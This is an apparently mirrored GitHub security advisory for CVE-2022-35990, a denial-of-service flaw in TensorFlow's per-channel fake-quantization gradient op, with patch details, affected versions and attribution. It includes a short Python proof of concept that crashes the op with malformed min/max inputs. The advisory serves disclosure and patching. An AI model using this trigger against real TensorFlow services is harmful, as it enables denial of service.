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Security Advisories: GSA_kwCzR0hTQS1oN2ZmLWNmYzktd21taM4AAu2p
TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVarsPerChannelGradient`
Impact
When tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient
receives input min
or max
of rank other than 1, it gives a CHECK
fail that can trigger a denial of service attack.
import tensorflow as tf
arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_4=8
arg_5=False
arg_6=None
tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0,
inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4,
narrow_range=arg_5, name=arg_6)
Patches
We have patched the issue in GitHub commit f3cf67ac5705f4f04721d15e485e192bb319feed.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by
- 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology
- Neophytos Christou, Secure Systems Labs, Brown University
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oN2ZmLWNmYzktd21taM4AAu2p
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 1 year ago
Updated: 8 months ago
CVSS Score: 5.9
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Identifiers: GHSA-h7ff-cfc9-wmmh, CVE-2022-35990
References:
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h7ff-cfc9-wmmh
- https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://nvd.nist.gov/vuln/detail/CVE-2022-35990
- https://github.com/advisories/GHSA-h7ff-cfc9-wmmh
Affected Packages
pypi:tensorflow-gpu
Versions: >= 2.9.0, < 2.9.1, >= 2.8.0, < 2.8.1, < 2.7.2Fixed in: 2.9.1, 2.8.1, 2.7.2
pypi:tensorflow-cpu
Versions: >= 2.9.0, < 2.9.1, >= 2.8.0, < 2.8.1, < 2.7.2Fixed in: 2.9.1, 2.8.1, 2.7.2
pypi:tensorflow
Versions: >= 2.9.0, < 2.9.1, >= 2.8.0, < 2.8.1, < 2.7.2Fixed in: 2.9.1, 2.8.1, 2.7.2